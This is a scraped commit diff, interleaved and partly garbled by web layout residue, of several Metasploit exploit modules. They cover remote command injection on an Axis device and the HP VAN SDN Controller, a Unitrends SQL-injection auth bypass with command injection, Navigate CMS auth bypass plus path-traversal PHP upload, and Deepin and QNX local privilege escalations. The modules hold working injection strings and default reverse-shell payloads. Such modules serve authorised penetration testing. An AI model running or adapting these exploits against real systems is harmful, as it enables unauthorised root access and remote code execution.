'Privileged' => true,
|
||||
'Targets' => [
|
||||
'DisclosureDate' => 'Jun 18 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_ARMLE],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Unix In-Memory',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {
|
||||
'BadChars' => ' ',
|
||||
'Encoder' => 'cmd/ifs',
|
||||
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'}
|
||||
}
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {
|
||||
'BadChars' => ' ',
|
||||
'Encoder' => 'cmd/ifs',
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'netcat-e'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
|
||||
}
|
||||
],
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Type' => :linux_dropper
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {'WfsDelay' => 10}
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => "/index.html/#{rand_srv}"
|
||||
)
|
||||
|
||||
if res && res.code == 204
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
|
@ -72,8 +94,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
rand_srv = "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/index.html/#{rand_srv}",
|
||||
|
@ -81,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'action' => 'dbus',
|
||||
'args' => dbus_send(
|
||||
method: :set_param,
|
||||
param: "string:root.Time.DST.Enabled string:;#{cmd}"
|
||||
param: "string:root.Time.DST.Enabled string:;(#{cmd})&"
|
||||
)
|
||||
}
|
||||
)
|
||||
|
@ -111,4 +131,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
args
|
||||
end
|
||||
|
||||
def rand_srv
|
||||
"#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -16,8 +16,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP VAN SDN Controller Root Command Injection',
|
||||
'Description' => %q{
|
||||
'Name' => 'HP VAN SDN Controller Root Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a hardcoded service token or default credentials
|
||||
in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.
|
||||
|
||||
|
@ -27,36 +27,36 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
If the service token option TOKEN is blank, USERNAME and PASSWORD will
|
||||
be used for authentication. An additional login request will be sent.
|
||||
},
|
||||
'Author' => [
|
||||
'Author' => [
|
||||
'Matt Bergin', # Vulnerability discovery and Python exploit
|
||||
'wvu' # Metasploit module and additional ~research~
|
||||
],
|
||||
'References' => [
|
||||
'References' => [
|
||||
['EDB', '44951'],
|
||||
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 25 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
'DisclosureDate' => 'Jun 25 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Unix In-Memory',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'BadChars' => ' '},
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'BadChars' => ' '},
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
|
||||
],
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -11,18 +11,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Unitrends UEB 9 http api/storage remote root',
|
||||
'Name' => 'Unitrends UEB http api remote code execution',
|
||||
'Description' => %q{
|
||||
It was discovered that the api/storage web interface in Unitrends Backup (UB)
|
||||
before 10.0.0 has an issue in which one of its input parameters was not validated.
|
||||
A remote attacker could use this flaw to bypass authentication and execute arbitrary
|
||||
commands with root privilege on the target system.
|
||||
UEB v9 runs the api under root privileges and api/storage is vulnerable.
|
||||
UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Cale Smith', # @0xC413
|
||||
'Benny Husted', # @BennyHusted
|
||||
'Jared Arave' # @iotennui
|
||||
'Jared Arave', # @iotennui
|
||||
'h00die'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
|
@ -31,14 +34,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
|
||||
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
|
||||
['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
|
||||
['EDB', '44297'],
|
||||
['CVE', '2017-12478'],
|
||||
['CVE', '2018-6328']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'UEB 9.*', { } ]
|
||||
[ 'UEB 9.*', { 'Privileged' => true} ],
|
||||
[ 'UEB < 10.1.0', { 'Privileged' => false} ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
||||
'SSL' => true
|
||||
|
@ -53,6 +60,28 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
deregister_options('SRVHOST', 'SRVPORT')
|
||||
end
|
||||
|
||||
def auth_token
|
||||
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
|
||||
Base64.strict_encode64(session) #b64 encode session token
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => '/api/systems/details',
|
||||
'ctype' => 'application/json',
|
||||
'headers' =>
|
||||
{'AuthToken' => auth_token}
|
||||
})
|
||||
if res && res.code == 200
|
||||
print_good("Good news, looks like a vulnerable version of UEB.")
|
||||
return CheckCode::Appears
|
||||
else
|
||||
print_bad('Host does not appear to be vulnerable.')
|
||||
end
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
#substitue some charactes
|
||||
def filter_bad_chars(cmd)
|
||||
cmd.gsub!("\\", "\\\\\\")
|
||||
|
@ -60,23 +89,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
|
||||
session = Base64.strict_encode64(session) #b64 encode session token
|
||||
|
||||
#substitue the cmd into the hostname parameter
|
||||
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
|
||||
parms << filter_bad_chars(cmd)
|
||||
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
|
||||
|
||||
if target.name == 'UEB 9.*'
|
||||
#substitue the cmd into the hostname parameter
|
||||
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
|
||||
parms << filter_bad_chars(cmd)
|
||||
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
|
||||
uri = '/api/storage'
|
||||
elsif target.name == 'UEB < 10.1.0'
|
||||
parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
|
||||
parms << filter_bad_chars(cmd)
|
||||
parms << %Q|`'"}|
|
||||
uri = '/api/hosts'
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/api/storage',
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/json',
|
||||
'encode_params' => false,
|
||||
'data' => parms,
|
||||
'headers' =>
|
||||
{'AuthToken' => session}
|
||||
{'AuthToken' => auth_token}
|
||||
})
|
||||
|
||||
if res && res.code != 500
|
||||
|
@ -87,7 +120,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - pwn'ng ueb 9....")
|
||||
print_status("#{peer} - Sending requests to UEB...")
|
||||
execute_cmdstager(:linemax => 120)
|
||||
end
|
||||
end
|
||||
|
|
@ -18,13 +18,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
This module attempts to gain root privileges on Deepin Linux systems
|
||||
by using lastore-daemon to install a package.
|
||||
|
||||
The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any
|
||||
The lastore-daemon D-Bus configuration on Deepin Linux permits any
|
||||
user in the sudo group to install arbitrary system packages without
|
||||
providing a password, resulting in code execution as root. By default,
|
||||
the first user created on the system is a member of the sudo group.
|
||||
|
||||
This module has been tested successfully with lastore-daemon version
|
||||
0.9.53-1 on Deepin Linux 15.5 (x64).
|
||||
This module has been tested successfully with lastore-daemon versions
|
||||
0.9.53-1 on Deepin Linux 15.5 (x64); and
|
||||
0.9.66-1 on Deepin Linux 15.7 (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -45,20 +45,20 @@ class MetasploitModule < Msf::Exploit
|
|||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Unix (In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
|
||||
],
|
||||
['PowerShell (In-Memory)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :psh_memory
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :psh_memory
|
||||
],
|
||||
['Linux (Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
|
||||
'Description' => %q(
|
||||
This module exploits insufficient sanitization in the database::protect
|
||||
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
|
||||
|
||||
The module then uses a path traversal vulnerability in navigate_upload.php
|
||||
that allows authenticated users to upload PHP files to arbitrary locations.
|
||||
Together these vulnerabilities allow an unauthenticated attacker to
|
||||
execute arbitrary PHP code remotely.
|
||||
|
||||
This module was tested against Navigate CMS 2.8.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Pyriphlegethon' # Discovery / msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-17552'], # Authentication bypass
|
||||
['CVE', '2018-17553'] # File upload
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 26 2018'))
|
||||
|
||||
register_options [
|
||||
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
|
||||
]
|
||||
end
|
||||
|
||||
def login_bypass
|
||||
check_resp = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/login.php')
|
||||
)
|
||||
|
||||
login_bypass_resp = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/login.php'),
|
||||
'cookie' => 'navigate-user=\" OR TRUE--%20'
|
||||
)
|
||||
|
||||
if login_bypass_resp &&
|
||||
login_bypass_resp.code == 302 &&
|
||||
check_resp.body.include?('Navigate CMS')
|
||||
session_id = login_bypass_resp.get_cookies_parsed
|
||||
.values.select { |v| v.to_s.include?('NVSID_') }
|
||||
.first.first
|
||||
return session_id
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Vulnerable if login_bypass
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
session_id = login_bypass
|
||||
fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
|
||||
|
||||
print_good('Login bypass successful')
|
||||
|
||||
php = payload.encoded
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php, 'image/jpeg', nil,
|
||||
"form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
|
||||
data_post = data.to_s
|
||||
|
||||
upload = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
|
||||
'vars_get' => Hash[{
|
||||
'session_id' => session_id,
|
||||
'engine' => 'picnik',
|
||||
'id' => '../../../navigate_info.php'
|
||||
}.to_a.shuffle],
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data_post
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
|
||||
fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
|
||||
|
||||
print_good('Upload successful')
|
||||
|
||||
print_status('Triggering payload...')
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
|
||||
)
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
if session.type != 'meterpreter'
|
||||
print_error('Unable to restore navigate_info.php')
|
||||
return
|
||||
end
|
||||
|
||||
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
|
||||
|
||||
begin
|
||||
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
|
||||
rescue
|
||||
print_error('Unable to restore navigate_info.php')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -22,8 +22,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Golovich', # Discovery and disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'James Golovich', # Discovery and disclosure
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ifwatchd Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
|
||||
systems by exploiting the ifwatchd suid executable.
|
||||
|
||||
ifwatchd allows users to specify scripts to execute using the '-A'
|
||||
command line argument; however, it does not drop privileges when
|
||||
executing user-supplied scripts, resulting in execution of arbitrary
|
||||
commands as root.
|
||||
|
||||
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
|
||||
and 6.5.0 SP1 (x86).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'cenobyte', # Discovery and exploit
|
||||
'Tim Brown', # Independent discovery
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-2533'],
|
||||
['BID', '66449'],
|
||||
['EDB', '32153'],
|
||||
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2014',
|
||||
'Platform' => 'unix', # QNX
|
||||
'Arch' => ARCH_CMD,
|
||||
'SessionTypes' => %w(shell meterpreter),
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'gawk generic'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'PAYLOAD' => 'cmd/unix/reverse_awk'
|
||||
}
|
||||
))
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def ifwatchd_path
|
||||
'/sbin/ifwatchd'
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def check
|
||||
unless setuid? ifwatchd_path
|
||||
vprint_error "#{ifwatchd_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{ifwatchd_path} is setuid"
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Detected
|
||||
fail_with Failure::NotVulnerable, 'Target not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
|
||||
|
||||
print_status 'Writing interface arrival event script...'
|
||||
cmd_exec "echo '#!/bin/sh' > #{script_path}"
|
||||
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
|
||||
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
|
||||
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
|
||||
cmd_exec "echo \"#{exp}\" >> #{script_path}"
|
||||
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
|
||||
register_file_for_cleanup script_path
|
||||
|
||||
cmd_exec "chmod +x '#{script_path}'"
|
||||
|
||||
print_status "Executing #{ifwatchd_path}..."
|
||||
interface = 'lo0'
|
||||
cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "
|
||||
end
|
||||
end
|
|
@ -47,8 +47,7 @@ class MetasploitModule < Msf::Exploit
|
|||
%w{URL https://seclists.org/oss-sec/2016/q3/682},
|
||||
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
|
||||
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
|
||||
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
|
||||
%w{AKA ImageTragick}
|
||||
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
|
||||
],
|
||||
'DisclosureDate' => 'May 3 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -63,7 +62,8 @@ class MetasploitModule < Msf::Exploit
|
|||
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
|
||||
['PS file', template: 'msf.ps'] # PoC from taviso
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {'AKA' => ['ImageTragick']}
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
||||
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
||||
['URL', 'https://github.com/nixawk/labs/issues/19'],
|
||||
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
|
||||
['URL', 'https://github.com/FireFart/CVE-2018-7600']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 28 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -47,89 +47,83 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Automatic targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Automatic (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_memory
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Automatic (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_dropper
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Automatic (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Automatic (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
# Drupal 7.x targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Drupal 7.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :php_memory
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 7.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :php_dropper
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 7.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :unix_memory
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 7.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :linux_dropper
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
# Drupal 8.x targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Drupal 8.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :php_memory
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 8.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :php_dropper
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 8.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :unix_memory
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 8.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :linux_dropper
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
|
||||
'DefaultOptions' => {'WfsDelay' => 2},
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => [
|
||||
'SA-CORE-2018-002',
|
||||
'Drupalgeddon 2'
|
||||
]
|
||||
}
|
||||
'Notes' => {'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Rob Carr <rob[at]rastating.com>'
|
||||
'rastating'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Feb 21 2015',
|
||||
'Platform' => 'php',
|
||||
|
|
|
@ -36,8 +36,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Kacper Szurek', # Vulnerability disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'Kacper Szurek', # Vulnerability disclosure
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -25,8 +25,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alexander Borg', # Vulnerability disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
